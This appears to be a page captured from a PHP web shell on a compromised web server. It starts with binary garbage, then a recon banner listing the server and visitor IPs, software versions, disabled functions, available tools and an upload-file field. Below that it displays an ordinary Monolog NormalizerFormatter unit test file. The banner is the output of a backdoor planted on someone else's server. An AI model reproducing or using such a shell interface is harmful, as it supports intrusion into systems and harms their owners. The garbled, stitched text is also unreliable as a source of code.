5���#��a`,>����������1T���W�����{X�ɘ�}G�4�"��ҕ4z�5F>e6*��[��\�;��%*U0LUUr2�cp�n��ݢ�kɜ��Y��͌3��+bG�����0#el���۴�o�e,,�jO�*M���1X��/3�z�)W^�,p>��s{��İQs��:�ޝd|w
���:f�I��e$���~�+ajX�jnT8����0'���S��>KI�UP���&���kN
Server IP : 78.111.106.131 / Your IP : 3.148.208.237 Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.2.34 System : User : nobody ( 99) PHP Version : 7.2.34 Disable Function : proc_open,system,passthru,exec,popen,shell_exec,dbmopen,suexec,escapeshellcmd,show_source,escapeshellarg,symlink,eval,php_uname,pcntl_exec MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /webler/tggtd.org/core/vendor/monolog/monolog/tests/Monolog/Formatter/ |
Upload File : |
<?php /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * @covers Monolog\Formatter\NormalizerFormatter */ class NormalizerFormatterTest extends \PHPUnit_Framework_TestCase { public function tearDown() { \PHPUnit_Framework_Error_Warning::$enabled = true; return parent::tearDown(); } public function testFormat() { $formatter = new NormalizerFormatter('Y-m-d'); $formatted = $formatter->format(array( 'level_name' => 'ERROR', 'channel' => 'meh', 'message' => 'foo', 'datetime' => new \DateTime, 'extra' => array('foo' => new TestFooNorm, 'bar' => new TestBarNorm, 'baz' => array(), 'res' => fopen('php://memory', 'rb')), 'context' => array( 'foo' => 'bar', 'baz' => 'qux', 'inf' => INF, '-inf' => -INF, 'nan' => acos(4), ), )); $this->assertEquals(array( 'level_name' => 'ERROR', 'channel' => 'meh', 'message' => 'foo', 'datetime' => date('Y-m-d'), 'extra' => array( 'foo' => '[object] (Monolog\\Formatter\\TestFooNorm: {"foo":"foo"})', 'bar' => '[object] (Monolog\\Formatter\\TestBarNorm: bar)', 'baz' => array(), 'res' => '[resource] (stream)', ), 'context' => array( 'foo' => 'bar', 'baz' => 'qux', 'inf' => 'INF', '-inf' => '-INF', 'nan' => 'NaN', ), ), $formatted); } public function testFormatExceptions() { $formatter = new NormalizerFormatter('Y-m-d'); $e = new \LogicException('bar'); $e2 = new \RuntimeException('foo', 0, $e); $formatted = $formatter->format(array( 'exception' => $e2, )); $this->assertGreaterThan(5, count($formatted['exception']['trace'])); $this->assertTrue(isset($formatted['exception']['previous'])); unset($formatted['exception']['trace'], $formatted['exception']['previous']); $this->assertEquals(array( 'exception' => array( 'class' => get_class($e2), 'message' => $e2->getMessage(), 'code' => $e2->getCode(), 'file' => $e2->getFile().':'.$e2->getLine(), ), ), $formatted); } public function testFormatSoapFaultException() { if (!class_exists('SoapFault')) { $this->markTestSkipped('Requires the soap extension'); } $formatter = new NormalizerFormatter('Y-m-d'); $e = new \SoapFault('foo', 'bar', 'hello', 'world'); $formatted = $formatter->format(array( 'exception' => $e, )); unset($formatted['exception']['trace']); $this->assertEquals(array( 'exception' => array( 'class' => 'SoapFault', 'message' => 'bar', 'code' => 0, 'file' => $e->getFile().':'.$e->getLine(), 'faultcode' => 'foo', 'faultactor' => 'hello', 'detail' => 'world', ), ), $formatted); } public function testFormatToStringExceptionHandle() { $formatter = new NormalizerFormatter('Y-m-d'); $this->setExpectedException('RuntimeException', 'Could not convert to string'); $formatter->format(array( 'myObject' => new TestToStringError(), )); } public function testBatchFormat() { $formatter = new NormalizerFormatter('Y-m-d'); $formatted = $formatter->formatBatch(array( array( 'level_name' => 'CRITICAL', 'channel' => 'test', 'message' => 'bar', 'context' => array(), 'datetime' => new \DateTime, 'extra' => array(), ), array( 'level_name' => 'WARNING', 'channel' => 'log', 'message' => 'foo', 'context' => array(), 'datetime' => new \DateTime, 'extra' => array(), ), )); $this->assertEquals(array( array( 'level_name' => 'CRITICAL', 'channel' => 'test', 'message' => 'bar', 'context' => array(), 'datetime' => date('Y-m-d'), 'extra' => array(), ), array( 'level_name' => 'WARNING', 'channel' => 'log', 'message' => 'foo', 'context' => array(), 'datetime' => date('Y-m-d'), 'extra' => array(), ), ), $formatted); } /** * Test issue #137 */ public function testIgnoresRecursiveObjectReferences() { // set up the recursion $foo = new \stdClass(); $bar = new \stdClass(); $foo->bar = $bar; $bar->foo = $foo; // set an error handler to assert that the error is not raised anymore $that = $this; set_error_handler(function ($level, $message, $file, $line, $context) use ($that) { if (error_reporting() & $level) { restore_error_handler(); $that->fail("$message should not be raised"); } }); $formatter = new NormalizerFormatter(); $reflMethod = new \ReflectionMethod($formatter, 'toJson'); $reflMethod->setAccessible(true); $res = $reflMethod->invoke($formatter, array($foo, $bar), true); restore_error_handler(); $this->assertEquals(@json_encode(array($foo, $bar)), $res); } public function testCanNormalizeReferences() { $formatter = new NormalizerFormatter(); $x = array('foo' => 'bar'); $y = array('x' => &$x); $x['y'] = &$y; $formatter->format($y); } public function testIgnoresInvalidTypes() { // set up the recursion $resource = fopen(__FILE__, 'r'); // set an error handler to assert that the error is not raised anymore $that = $this; set_error_handler(function ($level, $message, $file, $line, $context) use ($that) { if (error_reporting() & $level) { restore_error_handler(); $that->fail("$message should not be raised"); } }); $formatter = new NormalizerFormatter(); $reflMethod = new \ReflectionMethod($formatter, 'toJson'); $reflMethod->setAccessible(true); $res = $reflMethod->invoke($formatter, array($resource), true); restore_error_handler(); $this->assertEquals(@json_encode(array($resource)), $res); } public function testNormalizeHandleLargeArraysWithExactly1000Items() { $formatter = new NormalizerFormatter(); $largeArray = range(1, 1000); $res = $formatter->format(array( 'level_name' => 'CRITICAL', 'channel' => 'test', 'message' => 'bar', 'context' => array($largeArray), 'datetime' => new \DateTime, 'extra' => array(), )); $this->assertCount(1000, $res['context'][0]); $this->assertArrayNotHasKey('...', $res['context'][0]); } public function testNormalizeHandleLargeArrays() { $formatter = new NormalizerFormatter(); $largeArray = range(1, 2000); $res = $formatter->format(array( 'level_name' => 'CRITICAL', 'channel' => 'test', 'message' => 'bar', 'context' => array($largeArray), 'datetime' => new \DateTime, 'extra' => array(), )); $this->assertCount(1001, $res['context'][0]); $this->assertEquals('Over 1000 items (2000 total), aborting normalization', $res['context'][0]['...']); } /** * @expectedException RuntimeException */ public function testThrowsOnInvalidEncoding() { if (version_compare(PHP_VERSION, '5.5.0', '<')) { // Ignore the warning that will be emitted by PHP <5.5.0 \PHPUnit_Framework_Error_Warning::$enabled = false; } $formatter = new NormalizerFormatter(); $reflMethod = new \ReflectionMethod($formatter, 'toJson'); $reflMethod->setAccessible(true); // send an invalid unicode sequence as a object that can't be cleaned $record = new \stdClass; $record->message = "\xB1\x31"; $res = $reflMethod->invoke($formatter, $record); if (PHP_VERSION_ID < 50500 && $res === '{"message":null}') { throw new \RuntimeException('PHP 5.3/5.4 throw a warning and null the value instead of returning false entirely'); } } public function testConvertsInvalidEncodingAsLatin9() { if (version_compare(PHP_VERSION, '5.5.0', '<')) { // Ignore the warning that will be emitted by PHP <5.5.0 \PHPUnit_Framework_Error_Warning::$enabled = false; } $formatter = new NormalizerFormatter(); $reflMethod = new \ReflectionMethod($formatter, 'toJson'); $reflMethod->setAccessible(true); $res = $reflMethod->invoke($formatter, array('message' => "\xA4\xA6\xA8\xB4\xB8\xBC\xBD\xBE")); if (version_compare(PHP_VERSION, '5.5.0', '>=')) { $this->assertSame('{"message":"€ŠšŽžŒœŸ"}', $res); } else { // PHP <5.5 does not return false for an element encoding failure, // instead it emits a warning (possibly) and nulls the value. $this->assertSame('{"message":null}', $res); } } /** * @param mixed $in Input * @param mixed $expect Expected output * @covers Monolog\Formatter\NormalizerFormatter::detectAndCleanUtf8 * @dataProvider providesDetectAndCleanUtf8 */ public function testDetectAndCleanUtf8($in, $expect) { $formatter = new NormalizerFormatter(); $formatter->detectAndCleanUtf8($in); $this->assertSame($expect, $in); } public function providesDetectAndCleanUtf8() { $obj = new \stdClass; return array( 'null' => array(null, null), 'int' => array(123, 123), 'float' => array(123.45, 123.45), 'bool false' => array(false, false), 'bool true' => array(true, true), 'ascii string' => array('abcdef', 'abcdef'), 'latin9 string' => array("\xB1\x31\xA4\xA6\xA8\xB4\xB8\xBC\xBD\xBE\xFF", '±1€ŠšŽžŒœŸÿ'), 'unicode string' => array('¤¦¨´¸¼½¾€ŠšŽžŒœŸ', '¤¦¨´¸¼½¾€ŠšŽžŒœŸ'), 'empty array' => array(array(), array()), 'array' => array(array('abcdef'), array('abcdef')), 'object' => array($obj, $obj), ); } /** * @param int $code * @param string $msg * @dataProvider providesHandleJsonErrorFailure */ public function testHandleJsonErrorFailure($code, $msg) { $formatter = new NormalizerFormatter(); $reflMethod = new \ReflectionMethod($formatter, 'handleJsonError'); $reflMethod->setAccessible(true); $this->setExpectedException('RuntimeException', $msg); $reflMethod->invoke($formatter, $code, 'faked'); } public function providesHandleJsonErrorFailure() { return array( 'depth' => array(JSON_ERROR_DEPTH, 'Maximum stack depth exceeded'), 'state' => array(JSON_ERROR_STATE_MISMATCH, 'Underflow or the modes mismatch'), 'ctrl' => array(JSON_ERROR_CTRL_CHAR, 'Unexpected control character found'), 'default' => array(-1, 'Unknown error'), ); } public function testExceptionTraceWithArgs() { if (defined('HHVM_VERSION')) { $this->markTestSkipped('Not supported in HHVM since it detects errors differently'); } // This happens i.e. in React promises or Guzzle streams where stream wrappers are registered // and no file or line are included in the trace because it's treated as internal function set_error_handler(function ($errno, $errstr, $errfile, $errline) { throw new \ErrorException($errstr, 0, $errno, $errfile, $errline); }); try { // This will contain $resource and $wrappedResource as arguments in the trace item $resource = fopen('php://memory', 'rw+'); fwrite($resource, 'test_resource'); $wrappedResource = new TestFooNorm; $wrappedResource->foo = $resource; // Just do something stupid with a resource/wrapped resource as argument array_keys($wrappedResource); } catch (\Exception $e) { restore_error_handler(); } $formatter = new NormalizerFormatter(); $record = array('context' => array('exception' => $e)); $result = $formatter->format($record); $this->assertRegExp( '%"resource":"\[resource\] \(stream\)"%', $result['context']['exception']['trace'][0] ); if (version_compare(PHP_VERSION, '5.5.0', '>=')) { $pattern = '%"wrappedResource":"\[object\] \(Monolog\\\\\\\\Formatter\\\\\\\\TestFooNorm: \)"%'; } else { $pattern = '%\\\\"foo\\\\":null%'; } // Tests that the wrapped resource is ignored while encoding, only works for PHP <= 5.4 $this->assertRegExp( $pattern, $result['context']['exception']['trace'][0] ); } public function testExceptionTraceDoesNotLeakCallUserFuncArgs() { try { $arg = new TestInfoLeak; call_user_func(array($this, 'throwHelper'), $arg, $dt = new \DateTime()); } catch (\Exception $e) { } $formatter = new NormalizerFormatter(); $record = array('context' => array('exception' => $e)); $result = $formatter->format($record); $this->assertSame( '{"function":"throwHelper","class":"Monolog\\\\Formatter\\\\NormalizerFormatterTest","type":"->","args":["[object] (Monolog\\\\Formatter\\\\TestInfoLeak)","'.$dt->format('Y-m-d H:i:s').'"]}', $result['context']['exception']['trace'][0] ); } private function throwHelper($arg) { throw new \RuntimeException('Thrown'); } } class TestFooNorm { public $foo = 'foo'; } class TestBarNorm { public function __toString() { return 'bar'; } } class TestStreamFoo { public $foo; public $resource; public function __construct($resource) { $this->resource = $resource; $this->foo = 'BAR'; } public function __toString() { fseek($this->resource, 0); return $this->foo . ' - ' . (string) stream_get_contents($this->resource); } } class TestToStringError { public function __toString() { throw new \RuntimeException('Could not convert to string'); } } class TestInfoLeak { public function __toString() { return 'Sensitive information'; } }